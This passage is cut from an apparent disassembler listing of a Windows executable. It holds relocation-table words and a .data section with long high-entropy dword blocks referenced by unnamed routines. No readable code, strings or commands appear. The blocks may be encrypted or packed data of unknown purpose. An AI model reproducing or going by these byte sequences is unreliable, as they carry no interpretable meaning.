		dd 3333332Dh, 33423339h, 33693348h, 33863374h, 33A33391h
		dd 33C033AEh, 33DD33CBh, 33FA33E8h, 34163405h, 343A3421h
		dd 344B3443h, 34573451h, 3461345Bh, 34B534A0h, 362634CFh
		dd 36363630h, 364A363Fh, 365E3659h, 36763664h, 3691367Fh
		dd 36A1369Ch, 371E3718h, 37A2373Ch, 380337FEh, 38383809h
		dd 3842383Ch, 38633848h, 3939387Ch, 39463941h, 3957394Bh
		dd 397C396Bh, 39A939A3h, 3A0139D0h, 3A563A24h, 3A6C3A61h
		dd 3A803A76h, 3A943A8Ah, 3B393B20h, 3B593B4Fh, 3B823B66h
		dd 3B8F3B89h, 3BB43B94h, 3BF13BD3h, 3C253BFCh, 3C543C3Eh
		dd 3C703C5Eh, 3CA43C94h, 3CC83CB6h, 3CD83CD0h, 3CEF3CE0h
		dd 3D073D01h, 3D193D0Eh, 3D2A3D22h, 3D453D3Eh, 3D653D4Bh
		dd 3D7F3D75h, 3DA53D92h, 3DB43DACh, 3DC73DBCh, 3DDB3DD4h
		dd 3E093DEAh, 3E183E10h, 3E3F3E1Dh, 3E6E3E58h, 3E853E78h
		dd 3EA23E96h, 3EB93EAAh, 3EDF3ED8h, 3EEA3EE5h, 3F1A3F05h
		dd 3F253F1Fh, 3F343F2Bh, 3F473F3Ch, 3F663F54h, 3F763F6Eh
		dd 3F8A3F7Eh, 3F9B3F94h, 3FA63FA1h, 3FC23FBAh, 3FDD3FD5h
		dd 3FF33FE9h, 3FFAh, 19000h, 100h, 30063000h, 301A300Fh
		dd 302B3023h, 30383030h, 3055303Ch, 3065305Ah, 3077306Ch
		dd 3087307Ch, 30AE30A7h, 30C630B5h, 311F30F6h, 3135312Fh
		dd 31523149h, 318A3171h, 31A5319Fh, 31DA31CDh, 31F031E9h
		dd 320231FAh, 3216320Dh, 32643240h, 32F432E2h, 33233316h
		dd 34133368h, 342F3423h, 34403436h, 34533448h, 3472345Ch
		dd 349D3490h, 354D34CAh, 35DF35B5h, 364F363Bh, 36AA369Dh
		dd 36E536C7h, 370536F3h, 37B637A6h, 37F537CFh, 38323822h
		dd 38743852h, 38B238A1h, 38FB38DFh, 39633958h, 3999398Bh
		dd 39DA39A1h, 3A5839ECh, 3A883A65h, 3AC63ABEh, 3B3E3B1Dh
		dd 3B703B4Ah, 3B823B7Dh, 3BE23B90h, 3C3B3C31h, 3D0E3D04h
		dd 3DA13D93h, 3E3D3DAFh, 3EA53E6Ch, 3EB23EABh, 3EBF3EB8h
		dd 3EEC3EC5h, 3F5B3EF2h, 3F6A3F64h, 3FF23FE5h, 3FFFh, 1A000h
		dd 7Ch,	3015300Bh, 3028301Dh, 30803051h, 312530A4h, 317A313Fh
		dd 321131EEh, 32553248h, 332832A7h, 33AA337Fh, 34C63488h
		dd 3599355Fh, 361D35B4h, 37E837AEh, 38553822h, 38713865h
		dd 3883387Bh, 3897388Eh, 38CB38ADh, 394338DCh, 39853963h
		dd 39A13992h, 39B339ABh, 39C739BEh, 39FE39EDh, 3A8F3A6Dh
		dd 3DAE3AB5h, 3DD23DC9h, 3E693E61h, 3EA33E72h, 1B000h
		dd 0E0h, 30413020h, 30A53079h, 30FA30DCh, 311030FFh, 314A3126h
		dd 316B314Fh, 31BB3192h, 3254324Ch, 326D325Eh, 3280327Ah
		dd 3299328Ah, 32CD32B4h, 32FB32DAh, 336C3321h, 339D3393h
		dd 33C733AAh, 33DD33D2h, 342D3404h, 34453438h, 346D3462h
		dd 34BD3485h, 34DE34CDh, 357134F6h, 358F3587h, 35A53595h
		dd 35EE35C9h, 360E35FEh, 362F3624h, 36553647h, 3670365Ch
		dd 375736D4h, 37893780h, 381037A7h, 383D3831h, 38973852h
		dd 38AE38A4h, 38DE38B3h, 39E839D7h, 3A9A39FDh, 3ADC3AA2h
		dd 3B463AF1h, 3C683C2Eh, 3CD23C7Dh, 3CE83CDDh, 3CFE3CF3h
		dd 3D173D04h, 3D263D1Eh, 3D333D2Dh, 3D463D3Bh, 3DE33D6Eh
		dd 3F453F28h, 3F723F67h, 3FB03FA0h, 3FE23FDAh, 1C000h
		dd 0DCh, 30103000h, 30273022h, 31B030A3h, 324331D0h, 325B3250h
		dd 32953261h, 33AE334Eh, 34B53490h, 35A934F0h, 35D935BBh
		dd 362A35F9h, 36823651h, 36A13691h, 36C136B1h, 3753370Ah
		dd 37893773h, 37D437B4h, 380937E9h, 38753829h, 38A43881h
		dd 38FC38E3h, 39393919h, 39793967h, 39C939ADh, 3A0939E9h
		dd 3A493A29h, 3A813A6Ch
		db  99h	; ™
		db 3Ah,	0C4h, 3Ah
		db 0D9h	; Ù
		db 3Ah,	0FCh, 3Ah
		db  24h	; $
		db 3Bh,	47h, 3Bh
		db  59h	; Y
		db 3Bh,	71h, 3Bh
		db  94h	; ”
		db 3Bh,	0A9h, 3Bh
		db 0C9h	; É
		db 3Bh,	0FFh, 3Bh
		db  32h	; 2
		db 3Ch,	4Ch, 3Ch
		db  94h	; ”
		db 3Ch,	0B9h, 3Ch
		db 0CBh	; Ë
		db 3Ch,	0DDh, 3Ch
		db 0EFh	; ï
		db 3Ch,	14h, 3Dh
		db  26h	; &
		db 3Dh,	64h, 3Dh
		db  80h	; €
		db 3Dh,	94h, 3Dh
		db  9Eh	; ž
		db 3Dh,	0B6h, 3Dh
		db 0C3h	; Ã
		db 3Dh,	0C8h, 3Dh
		db 0CEh	; Î
		db 3Dh,	0D2h, 3Dh
		db 0D7h	; ×
		db 3Dh,	0DDh, 3Dh
		db 0EAh	; ê
		db 3Dh,	0EFh, 3Dh
		db 0F9h	; ù
		db 3Dh,	5, 3Eh
		db  0Fh
		db 3Eh,	1Bh, 3Eh
		db  25h	; %
		db 3Eh,	31h, 3Eh
		db  3Dh	; =
		db 3Eh,	47h, 3Eh
		db  53h	; S
		db 3Eh,	64h, 3Eh
		db  70h	; p
		db 3Eh,	7Bh, 3Eh
		db  7Fh	; 
aEPSGN		db '>…>>™>£>­>',0
		db 0D0h, 1, 0
		db  60h	; `
		db 1, 2	dup(0)
		db  80h	; €
		db 32h,	88h, 32h
		db  90h	; 
		db 32h,	98h, 32h
		db 0A4h	; ¤
		db 32h,	0C0h, 32h
		db 0D8h	; Ø
		db 32h,	0ECh, 32h
		db  4Ch	; L
		db 34h,	50h, 34h
		db  54h	; T
		db 34h,	58h, 34h
		db  5Ch	; \
		db 34h,	60h, 34h
		db  64h	; d
		db 34h,	68h, 34h
		db  6Ch	; l
		db 34h,	70h, 34h
		db  74h	; t
		db 34h,	78h, 34h
		db 0E4h	; ä
		db 34h,	0E8h, 34h
		db 0F0h	; ð
		db 34h,	0F8h, 34h
		db    0
		db 35h,	8, 35h
		db  14h
		db 35h,	30h, 35h
		db  48h	; H
		db 35h,	5Ch, 35h
		db  40h	; @
		db 36h,	48h, 36h
		db  50h	; P
		db 36h,	58h, 36h
		db  64h	; d
		db 36h,	80h, 36h
		db  98h	; ˜
		db 36h,	0ACh, 36h
		db 0ACh	; ¬
		db 38h,	0B4h, 38h
		db 0BCh	; ¼
		db 38h,	0C4h, 38h
		db 0D0h	; Ð
		db 38h,	0ECh, 38h
		db    4
		db 39h,	18h, 39h
		db 0D4h	; Ô
		db 3Bh,	0D8h, 3Bh
		db    4
		db 3Ch,	8, 3Ch
		db  0Ch
		db 3Ch,	10h, 3Ch
		db  14h
		db 3Ch,	18h, 3Ch
		db  1Ch
		db 3Ch,	20h, 3Ch
		db  24h	; $
		db 3Ch,	28h, 3Ch
		db  2Ch	; ,
		db 3Ch,	30h, 3Ch
		db  44h	; D
		db 3Ch,	5Ch, 3Ch
		db  60h	; `
		db 3Ch,	64h, 3Ch
		db  68h	; h
		db 3Ch,	6Ch, 3Ch
		db  70h	; p
		db 3Ch,	74h, 3Ch
		db  78h	; x
		db 3Ch,	7Ch, 3Ch
		db  80h	; €
		db 3Ch,	8Ch, 3Ch
		db  90h	; 
		db 3Ch,	94h, 3Ch
		db  98h	; ˜
		db 3Ch,	9Ch, 3Ch
		db 0A0h	;  
		db 3Ch,	0A4h, 3Ch
		db 0A8h	; ¨
		db 3Ch,	0ACh, 3Ch
		db 0D4h	; Ô
		db 3Ch,	0E0h, 3Ch
		db 0E4h	; ä
		db 3Ch,	0E8h, 3Ch
		db 0ECh	; ì
		db 3Ch,	0F0h, 3Ch
		db 0F4h	; ô
		db 3Ch,	0F8h, 3Ch
		db 0FCh	; ü
		db 3Ch,	0, 3Dh
		db    4
		db 3Dh,	8, 3Dh
		db  0Ch
		db 3Dh,	10h, 3Dh
		db  14h
		db 3Dh,	18h, 3Dh
		db  1Ch
		db 3Dh,	20h, 3Dh
		db  24h	; $
		db 3Dh,	28h, 3Dh
		db  2Ch	; ,
		db 3Dh,	30h, 3Dh
		db  34h	; 4
		db 3Dh,	38h, 3Dh
		db  3Ch	; <
		db 3Dh,	40h, 3Dh
		db  44h	; D
		db 3Dh,	48h, 3Dh
		db  50h	; P
		db 3Dh,	54h, 3Dh
		db  58h	; X
		db 3Dh,	5Ch, 3Dh
		db  60h	; `
		db 3Dh,	64h, 3Dh
		db  68h	; h
		db 3Dh,	6Ch, 3Dh
		db  70h	; p
		db 3Dh,	74h, 3Dh
		db  78h	; x
		db 3Dh,	7Ch, 3Dh
		db  80h	; €
		db 3Dh,	84h, 3Dh
		db  88h	; ˆ
		db 3Dh,	8Ch, 3Dh
		db  90h	; 
		db 3Dh,	94h, 3Dh
		db  98h	; ˜
		db 3Dh,	0A4h, 3Dh
		db 0A8h	; ¨
		db 3Dh,	0ACh, 3Dh
		db 0B0h	; °
		db 3Dh,	0B4h, 3Dh
		db 0B8h	; ¸
		db 3Dh,	0BCh, 3Dh
		db  10h
		db 3Eh,	14h, 3Eh
		db  18h
		db 3Eh,	1Ch, 3Eh
		db  20h
		db 3Eh,	24h, 3Eh
		db  28h	; (
		db 3Eh,	2Ch, 3Eh
		db  30h	; 0
		db 3Eh,	34h, 3Eh
		db  38h	; 8
		db 3Eh,	3Ch, 3Eh
		db  40h	; @
		db 3Eh,	44h, 3Eh
		db  48h	; H
		db 3Eh,	4Ch, 3Eh
		db  50h	; P
		db 3Eh,	54h, 3Eh
		db  58h	; X
		db 3Eh,	5Ch, 3Eh
		db  60h	; `
		db 3Eh,	64h, 3Eh
		db  68h	; h
		db 3Eh,	6Ch, 3Eh
		db  70h	; p
		db 3Eh,	74h, 3Eh
		db  78h	; x
		db 3Eh,	7Ch, 3Eh
		db  80h	; €
		db 3Eh,	84h, 3Eh
		db  88h	; ˆ
		db 3Eh,	8Ch, 3Eh
		db 0DCh	; Ü
		db 3Eh,	0E0h, 3Eh
		db 0E4h	; ä
		db 3Eh,	0E8h, 3Eh
		db 0ECh	; ì
		db 3Eh,	0F0h, 3Eh
		db    0
		db 0E0h, 1, 0
		db 0C8h	; È
		align 4
		db  40h	; @
		db 30h,	48h, 30h
		db  50h	; P
		db 30h,	58h, 30h
		db  60h	; `
		db 30h,	68h, 30h
		db  70h	; p
		db 30h,	78h, 30h
		db  80h	; €
		db 30h,	88h, 30h
		db  90h	; 
		db 30h,	98h, 30h
		db 0A0h	;  
		db 30h,	0A8h, 30h
		db 0E0h	; à
		db 30h,	0E4h, 30h
		db 0E8h	; è
		db 30h,	0ECh, 30h
		db 0F0h	; ð
		db 30h,	0F4h, 30h
		db 0F8h	; ø
		db 30h,	0FCh, 30h
		db    0
		db 31h,	4, 31h
		db    8
		db 31h,	34h, 31h
		db  38h	; 8
		db 31h,	44h, 31h
		db  48h	; H
		db 31h,	58h, 31h
		db  5Ch	; \
		db 31h,	60h, 31h
		db  70h	; p
		db 31h,	0A0h, 31h
		db 0B0h	; °
		db 31h,	0C0h, 31h
		db 0D0h	; Ð
		db 31h,	0DCh, 31h
		db 0E0h	; à
		db 31h,	0F0h, 31h
		db    0
		db 32h,	10h, 32h
		db  20h
		db 32h,	30h, 32h
		db  40h	; @
		db 32h,	50h, 32h
		db  60h	; `
		db 32h,	6Ch, 32h
		db  78h	; x
		db 32h,	88h, 32h
		db  8Ch	; Œ
		db 32h,	90h, 32h
		db  94h	; ”
		db 32h,	0ACh, 32h
		db 0B0h	; °
		db 32h,	0B4h, 32h
		db 0BCh	; ¼
		db 32h,	0C0h, 32h
		db 0B4h	; ´
		db 34h,	0B8h, 34h
		db 0C4h	; Ä
		db 34h,	0C8h, 34h
		db 0D4h	; Ô
		db 34h,	0D8h, 34h
		db 0E8h	; è
		db 34h,	0F0h, 34h
		db 0F4h	; ô
		db 34h,	0FCh, 34h
		db    0
		db 35h,	10h, 35h
		db  18h
		db 35h,	1Ch, 35h
		db  24h	; $
		db 35h,	28h, 35h
		db  38h	; 8
		db 35h,	44h, 35h
		db  90h	; 
		db 35h,	0B8h, 35h
		db 0C8h	; È
		db 35h,	0D4h, 35h
		db 0D8h	; Ø
		db 35h,	0E0h, 35h
		db 0E4h	; ä
		db 35h,	0C0h, 37h
		db 0D8h	; Ø
		db 37h,	0F0h, 3Ch
		db    0
		db 3Dh,	10h, 3Dh
a0@PLP		db ' =0=@=P=\=`=l=p=',0
		db 0F0h, 1, 0
		dd 130h, 31E431B0h, 31F431E8h, 333431F8h, 3360333Ch, 338C3368h
		dd 33B83394h, 33E433C0h, 341033ECh, 343C3418h, 34683444h
		dd 34943470h, 34C0349Ch, 34EC34C8h, 351834F4h, 35443520h
		dd 3570354Ch, 359C3578h, 35C835A4h, 35F435D0h, 362035FCh
		dd 364C3628h, 36783654h, 36A43680h, 36D036ACh, 36FC36D8h
		dd 37283704h, 37543730h, 3780375Ch, 37AC3788h, 395837B4h
		dd 39683960h, 39783970h, 39883980h, 39983990h, 39A839A0h
		dd 39B839B0h, 39C839C0h, 39D839D0h, 39E839E0h, 39F839F0h
		dd 3A083A00h, 3B103B08h, 3B203B18h, 3B303B28h, 3B403B38h
		dd 3B503B48h, 3B603B58h, 3B703B68h, 3B803B78h, 3B903B88h
		dd 3BA03B98h, 3BB03BA8h, 3BC03BB8h, 3BD03BC8h, 3BE03BD8h
		dd 3BF03BE8h, 3C003BF8h, 3C103C08h, 3C203C18h, 3C303C28h
		dd 3C403C38h, 3C503C48h, 3C603C58h, 3C703C68h, 3C803C78h
		dd 3C903C88h, 3CA03C98h, 3CB03CA8h, 3CC03CB8h, 3CD03CC8h
		dd 3CE03CD8h, 3CF03CE8h, 3D003CF8h, 3D08h, 20000h, 1E4h
		dd 31483144h, 31583154h, 31643160h, 31803170h, 319C3190h
		dd 31B831A8h, 31D431C8h, 31E031D8h, 31EC31E4h, 323C31F0h
		dd 324C3240h, 32583250h, 3260325Ch, 32683264h, 3270326Ch
		dd 32C03274h, 32C832C4h, 32D032CCh, 32D832D4h, 32E032DCh
		dd 3380337Ch, 33883384h, 33A83398h, 33C833B8h, 33E833D8h
		dd 3430342Ch, 348C3474h, 34B034A0h, 34B834B4h, 34E434D0h
		dd 34F834F4h, 351434FCh, 352C3518h, 3540353Ch, 355C3544h
		dd 35783574h, 359C358Ch, 35A435A0h, 35C035BCh, 35E435D4h
		dd 35EC35E8h, 36083604h, 3620360Ch, 36343630h, 36503638h
		dd 36683654h, 367C3678h, 36983680h, 36A0369Ch, 36C436B4h
		dd 36CC36C8h, 36E836E4h, 370036ECh, 37143710h, 37303718h
		dd 37543744h, 375C3758h, 37783774h, 379C378Ch, 38C437A0h
		dd 38D438CCh, 38E438DCh, 38F438ECh, 390438FCh, 3914390Ch
		dd 39383920h, 395C3944h, 39803968h, 39AC399Ch, 39C039B4h
		dd 39E439D8h, 3A0439FCh, 3A283A10h, 3A383A30h, 3A743A44h
		dd 3A943A88h, 3AC43A9Ch, 3AE43AD8h, 3B143AECh, 3B343B28h
		dd 3B643B3Ch, 3B843B78h, 3B9C3B8Ch, 3BAC3BA4h, 3BBC3BB4h
		dd 3BD03BC4h, 3BF03BE8h, 3C003BF8h, 3C103C08h, 3C343C1Ch
		dd 3C483C3Ch, 3C6C3C60h, 3C8C3C84h, 3CB03C98h, 3CC43CB8h
		dd 3CE83CDCh, 3D0C3D00h, 3D303D24h, 3D503D48h, 3D743D5Ch
		dd 3D843D7Ch, 3D943D8Ch, 3DD03DA0h, 3DF03DE4h, 3E103DF8h
		dd 3E303E20h, 3E503E44h, 3E683E58h, 3E783E70h, 3E9C3E84h
		dd 3EC03EA8h, 3EE43ECCh, 3F083EF0h, 3F2C3F14h, 3F503F38h
		dd 3F843F70h, 3F983F90h, 3FB43FA8h, 3FEC3FCCh, 21000h
		dd 100h, 300C3000h, 30243014h, 30483030h, 306C3054h, 30903078h
		dd 30DC309Ch, 310030ECh, 31203114h, 31383128h, 3154314Ch
		dd 31703168h, 317C3174h, 318C3184h, 31B03198h, 31C431B8h
		dd 31E831DCh, 32083200h, 322C3214h, 32403234h, 32643258h
		dd 32B432A4h, 32DC32C8h, 32F032E8h, 330C3300h, 332C3324h
		dd 3360334Ch, 3374336Ch, 33903384h, 33B033A8h, 33C433B8h
		dd 33F433DCh, 341C33FCh, 3440342Ch, 34603454h, 34783468h
		dd 349C3484h, 34B034A4h, 34DC34C8h, 34F834E4h, 35043500h
		dd 35103508h, 35203518h, 35303528h, 3554353Ch, 35783560h
		dd 3594358Ch, 35B035A8h, 35B835B4h, 35C835C0h, 35DC35D0h
		dd 360035F4h, 362C3618h, 36383634h, 3644363Ch, 3654364Ch
		dd 3664365Ch, 36883670h, 36AC3694h, 36BC36B4h, 36CC36C4h
		dd 36F036D8h, 370436F8h, 23000h, 148h, 30083004h, 3010300Ch
		dd 30183014h, 3020301Ch, 302C3024h, 303C3038h, 30443040h
		dd 305C3050h, 30743070h, 30983094h, 30A0309Ch, 30A830A4h
		dd 30B030ACh, 30C030B4h, 30DC30C4h, 312030F4h, 31403138h
		dd 31483144h, 32C832B8h, 32D432CCh, 34183410h, 3420341Ch
		dd 34283424h, 3430342Ch, 34383434h, 3440343Ch, 34483444h
		dd 3450344Ch, 35C03454h, 35C835C4h, 390435D0h, 3914390Ch
		dd 3924391Ch, 3934392Ch, 3944393Ch, 3954394Ch, 3964395Ch
		dd 3974396Ch, 3984397Ch, 3994398Ch, 3AA03A9Ch, 3AA83AA4h
		dd 3AB03AACh, 3AB83AB4h, 3AC03ABCh, 3AC83AC4h, 3AD03ACCh
		dd 3AD83AD4h, 3AE03ADCh, 3AE83AE4h, 3AF03AECh, 3AF83AF4h
		dd 3B003AFCh, 3B083B04h, 3B103B0Ch, 3B183B14h, 3B203B1Ch
		dd 3B283B24h, 3B303B2Ch, 3B383B34h, 3B403B3Ch, 3B483B44h
		dd 3B603B5Ch, 3B683B64h, 3B703B6Ch, 3B783B74h, 3B803B7Ch
		dd 3C303B8Ch, 3CC43C34h, 3CFC3CE0h, 3D443D1Ch, 3D843D64h
		dd 3DA83DA4h, 3DB03DACh, 3DB83DB4h, 3DC03DBCh, 3DC83DC4h
		dd 3DD03DCCh, 3DD83DD4h, 3E003DE0h, 205h dup(0)
off_416188	dd offset off_416188	; DATA XREF: sub_403B73+9Dw
					; .data:off_416188o
off_41618C	dd offset loc_40EA3C+3	; DATA XREF: sub_403B73+95w
off_416190	dd offset loc_40EA3C+3	; DATA XREF: sub_403B73+90w
		align 8
dword_416198	dd 10h dup(0)		; DATA XREF: sub_403849+52o
dword_4161D8	dd 1C297h		; DATA XREF: sub_403849+36r
					; sub_4038D5+10Br ...
		align 10h
dword_4161E0	dd 6B5F5695h, 7F1456DBh, 0E1DF204Eh, 7190504Ch,	67FA6AAh
					; DATA XREF: sub_403B73:loc_403C30o
					; sub_403B73:loc_403D5Ao
		dd 846CB36Bh, 4A1EDD24h, 742E637h, 0FB641E69h, 4B26563Ah
		dd 0D4E495D9h, 0C187B1Bh, 32306306h, 0D55401F6h, 2C7237A2h
		dd 6E4B257Fh, 998C8D92h, 739D837Eh, 0A43B64AFh,	3FC1EC19h
		dd 0FE7BDEFBh, 0D7BBF39Fh, 0F869C0ADh, 6700EB96h, 0F5F7C9BEh
		dd 0B2BF7C0Ah, 3935D4BCh, 0D83CAE0h, 706B5E78h,	3637D0EBh
		dd 61D07EF9h, 0E3ADEF8Eh, 0DC070A39h, 13C62291h, 6DFBECE6h
		dd 0E0D604F8h, 0AFA3B953h, 6811E055h, 0B0FE0A1Ah, 7CB2BCB2h
		dd 6E7C0EE7h, 1DBB8B41h, 9F1CB238h, 157C1EF1h, 0C2659E78h
		dd 65654AA3h, 3CB57C99h, 0EC395D17h, 9A313608h,	8BFAFB2Eh
		dd 0F86B01FAh, 5B9CA6BAh, 0D8F1BECEh, 0E7AD59B2h, 0CEA3ACF9h
		dd 617ACAB4h, 9938F7FCh, 204E25FCh, 9070F309h, 0BA2C2EBEh
		dd 34719376h, 0CF8DA68Ah, 0AE58FF98h, 0F178CD75h, 5BF9AE62h
		dd 0D2CF8E3Ch, 6C39A43Eh, 54CDB6B9h, 0BF694625h, 90469530h
		dd 66E726C0h, 0F2A6CAEFh, 0E57505E0h, 27432BC4h, 0B38C9D41h
		dd 0C1C76762h, 77D37192h, 8D44AEB9h, 9157505Ah,	72D72478h
		dd 0F0EBE839h, 7F4C3301h, 2EA269C7h, 76E3A330h,	0D2F653D9h
		dd 4B38A9D7h, 61C62F73h, 6675B5E0h, 3C025858h, 63F8732Bh
		dd 0C5CE4C32h, 2983FA14h, 1738E964h, 44A34E3h, 0A51833CCh
		dd 18F30FD0h, 0C3F4DF0Fh, 0DBA298A1h, 8B4DE7B2h, 75F72E7Bh
		dd 0D8EA1573h, 0AADA2878h, 0E9B6C69Bh, 10CE2DB3h, 0EA1B709Bh
		dd 0B20C6B8Bh, 0F4B1EB6Ch, 4B4F8937h, 79656277h, 0BB696021h
		dd 542951F0h, 0EFC78C7Eh, 0C78B214Eh, 797864E2h, 34F4C302h
		dd 8624431Eh, 0C7967117h, 2D28B0E3h, 536996E3h,	0B6D554F3h
		dd 5184CE39h, 834FBB93h, 7CB71D4Eh, 9C73E6B7h, 88567D0Bh
		dd 0F61064E3h, 0A310A32Fh, 0CE18B289h, 65F1DBC5h, 0E12448E1h
		dd 9E92BC2Ah, 0F30F2CD3h, 0F796A134h, 0F58C41E3h, 3F886180h
		dd 0B7FE69A3h, 60B02334h, 9905C983h, 2C89C151h,	92B14F49h
		dd 44218E65h, 157BD0Bh,	8DAF4DB7h, 3D95AEE1h, 6E4B3DA5h
		dd 45C7D7E0h, 992D863Eh, 2AD55B82h, 552A56B5h, 46D3CA37h
		dd 6E5BE4DBh, 0BAFA6D93h, 3FA2C155h, 566648F8h,	0FBBDDD4Ah
		dd 0B4C9AE50h, 5658F81Bh, 638F3FB4h, 82DDCA57h,	7AB37B87h
		dd 8B31BF50h, 0C9E1B7h,	0F032C72Ch, 8464A723h, 2F0FDF53h
		dd 0C7213CC4h, 59DBBCB3h, 7CA31632h, 6CA03CA2h,	6F37090Bh
		dd 33FE6A81h, 0A2224B9Ch, 0B50615AEh, 0C079F055h, 8A8509A8h
		dd 84E39CF1h, 141CB13Eh, 0A514F5DAh, 41BB4F6h, 0D0D8B30h
		dd 0B34245AAh, 661AFE56h, 0E12E8899h, 86CC20F5h, 93D86797h
		dd 1B7E2D2Ch, 8D634C70h, 0F2217423h, 69B3CE30h,	0AB4E1679h
		dd 0A14AB7C5h, 0FB311EEBh, 1335350Ah, 118D5C3h,	4B9AE05h
		dd 64F4101h, 0D70D5A48h, 74C75CF1h, 759AABFCh, 34106A92h
		dd 0FB045A09h, 3826D04h, 6C086F82h, 43810E82h, 2DF04870h
		dd 8F02701h, 0C12E827Ch, 824BC111h, 0D277E6EFh,	1040E92Fh
		dd 3214A219h, 2708E045h, 0D4844DF4h, 7A3B0515h,	6DD66DB6h
		dd 3DCEF746h, 0F9D15E2Ch, 70F1B3FBh, 0E750ECCh,	4A28606Fh
		dd 0F092E871h, 9BC341F5h, 542A96FAh, 15459C39h,	566153FEh
		dd 0C952B9A3h, 24858C0h, 982EEA66h, 7140E171h, 50B880E1h
		dd 0E44B8F46h, 646E7C81h, 33E338C0h, 8032BBC3h,	30F69EEBh
		dd 6EEE195Dh, 0C62C0957h, 24BF934Eh, 0AA4BDFF7h, 4B2A0A83h
		dd 6E352D12h, 29192216h, 0F9E17F78h, 157D29FAh,	0DD298346h
		dd 908E902Ch, 0DDE0F13Dh, 0A3330690h, 567A629Bh, 1FE4E08Eh
		dd 61D24814h, 0DED38E7Ch, 0FDBAFD02h, 287C1507h, 0F957BC3Fh
		dd 0F597495Fh, 891C39FDh, 0E270DD4Ch, 4D892A74h, 8A189197h
		dd 7BC9933Fh, 243E45F9h, 0F9B394C1h, 0CD055F23h, 7CF6DA68h
		dd 52B5E4ECh, 5EDB336Bh, 0E915F378h, 0DCB8B7CBh, 13525295h
		dd 0B18E94F5h, 7F8E7015h, 8E2DB60Eh, 0F0BE2EA2h, 0EE8F801Bh
		dd 0D2FB36B3h, 5B257DA4h, 0B469D81Ah, 0C506FD5Dh, 0DABD2CC2h
		dd 0C3C2FBCAh, 0D7A67A6Dh, 0FFCF496Ch
		db 2
byte_41664D	db 49h,	3Eh, 43h	; DATA XREF: .data:off_40C5D8o
		dd 0D0A720DEh, 0FBA40A6h, 26E3405Fh, 355F2615h,	2FC8289h
		dd 0EFE0A0A1h, 86ED09Ah, 0DC96DB1Ch, 6CA73097h,	4F103E4h
		dd 4E4FD233h, 8C109F26h, 32D6097Dh, 0AE680165h,	0B6080BB0h
		dd 0A5645E73h, 0D1FCB972h, 87523844h, 80D37BACh, 20775E9Fh
		dd 74A6D524h, 7639C79Dh, 628D7EFCh, 0B8CFBA5Ch,	0E82CA137h
		dd 76863BF2h, 604BEE5Ch, 858EEBEAh, 5F23F27Dh, 0EF819D80h
		dd 0A3C5E210h, 0DAB85D6Ah, 0FE042F27h, 7A247C6Ah, 0E51958Bh
		dd 0AB554831h, 60182982h, 69B554C6h, 7C2A9595h,	0E1E25431h
		dd 8EBE094h, 0B309BF94h, 70B1FD5h, 10C8F98Eh, 427E01FAh
		dd 6A7C420h, 0EE2674AEh, 5CD7B09Bh, 1854BA52h, 0D85D7041h
		dd 14C04707h, 0BE433F73h, 3CB8A71Bh, 0FA4954DBh, 0F4D0D7E4h
		dd 0F0F91980h, 0E2029E18h, 4C4B8036h, 2481E26Bh, 7B941A76h
		dd 242AA8C4h, 5B60B534h, 213AA311h, 0FBF17D5Dh,	0FA698616h
		dd 0E3144686h, 1BFFD80Bh, 291A0AFEh, 66D13EE0h,	747AE3E5h
		dd 9B76579Eh, 0F0312721h, 0C5993E99h, 3D3F65C5h, 6333F27Fh
		dd 24A290F4h, 69D8AB14h, 72E9F860h, 200A86A3h, 544C0B6Fh
		dd 0F1B5A70Ch, 4F8A4271h, 0F6DE8D3Dh, 26A2144Dh, 0D642F139h
		dd 5B5B5E2Dh, 0C6F665DFh, 0E5C72F96h, 0C87C5FBh, 5C813E3Ah
		dd 32240F93h, 38FE578Ch, 0D7CA7D11h, 0AA8E20Ch,	0CA2F411Eh
		dd 0C3C53F0Ch, 0B27C3D1Bh, 95EA9847h, 43B014E5h, 86CF500Bh
		dd 1349431Ch, 0A2427547h, 0A965AE57h, 0D222BF83h, 0BBF8F89Dh
		dd 326572BCh, 0BFCB2E82h, 3E394EBEh, 66E6ED75h,	0C324B05Ch
		dd 6A9B3417h, 49EBF82h,	831D8203h, 0E9000F97h, 0BE0D205Eh
		dd 24AF108Ah, 24754166h, 39149301h, 6A42A71Eh, 494E801h
		dd 49C3CAFh, 8EBBE400h,	0F2E39077h, 2DABA1CFh, 8867C25Dh
		dd 81309D0Eh, 0C6132688h, 0D6013E32h, 1A9AC0B4h, 514F8B3Ah
		dd 0EB7093EDh, 0D4B181CFh, 2138C068h, 5631ABC1h, 6698E6BFh
		dd 81E28F6Eh, 7D78A570h, 0AEE392E3h, 124F0168h,	0AEB7E4C6h
		dd 86C210AAh, 0AB50C3E5h, 0B2E4B0C2h, 73604C8h,	0A242CB21h
		dd 9D4574FBh, 5D9F0CE4h, 92CF8D34h, 4A8A059Fh, 66F27688h
		dd 22AB83C4h, 58D55243h, 2C2BB6CCh, 5D7B74FBh, 24307B2Ch
		dd 0DFB1E746h, 0F24B0FDEh, 1A7945DBh, 4CE316BFh, 0C5CF878Bh
		dd 0BF87AA7Ah, 361E3CDh, 0CFFCE113h, 0ED477EBAh, 97630458h
		dd 6844FAFEh, 0BB998A9h, 0B56F3E63h, 30C09CECh,	0FEFA0511h
		dd 847BBA5Dh, 6C6BE48Ch, 25E819F7h, 0F76C630Bh,	7E446849h
		dd 0D7E98F06h, 63A8C3A7h, 4042E2D0h, 220DF811h,	0DAB701FEh
		dd 131AEC97h, 9527E88Ch, 0A98CD8D4h, 0EA325EA0h, 0B1E760EFh
		dd 791348DDh, 22C04682h, 0F787A37Eh, 944E7879h,	457BF8B3h
		dd 0C93E2EF9h, 8E7611E3h, 0A5391E9Ch, 0EDE2C1B4h, 35F27242h
		dd 161618A1h, 0C9D5950Ah, 0C76B93D7h, 75DCD594h, 0A02F2A0Eh
		dd 7254858Bh, 0EF229C84h, 7CD117C8h, 63B51C8Ah,	0AC5DB9EDh
		dd 0B9F6FAE3h, 0BAE3A24Ah, 0C2001330h, 0A2542E74h, 0D1750164h
		dd 0A9A7EA0Dh, 0CBB201B1h, 71D67ED8h, 2E23EDBDh, 0CD9C24F4h
		dd 60EADE33h, 0C8350780h, 9AE128B9h, 0B3B4EBE0h, 866A9471h
		dd 0EAD051D8h, 5160AAFBh, 1BAFAFDFh, 3B7A2E57h,	1F662195h
		dd 497DB9B8h, 7686D1FEh, 3A1B0108h, 4B47FA67h, 0BCEEE5B1h
		dd 0B4369D0Bh, 102D3B0Ah, 3FD6781Bh, 8A4F873Ah,	0C1768A85h
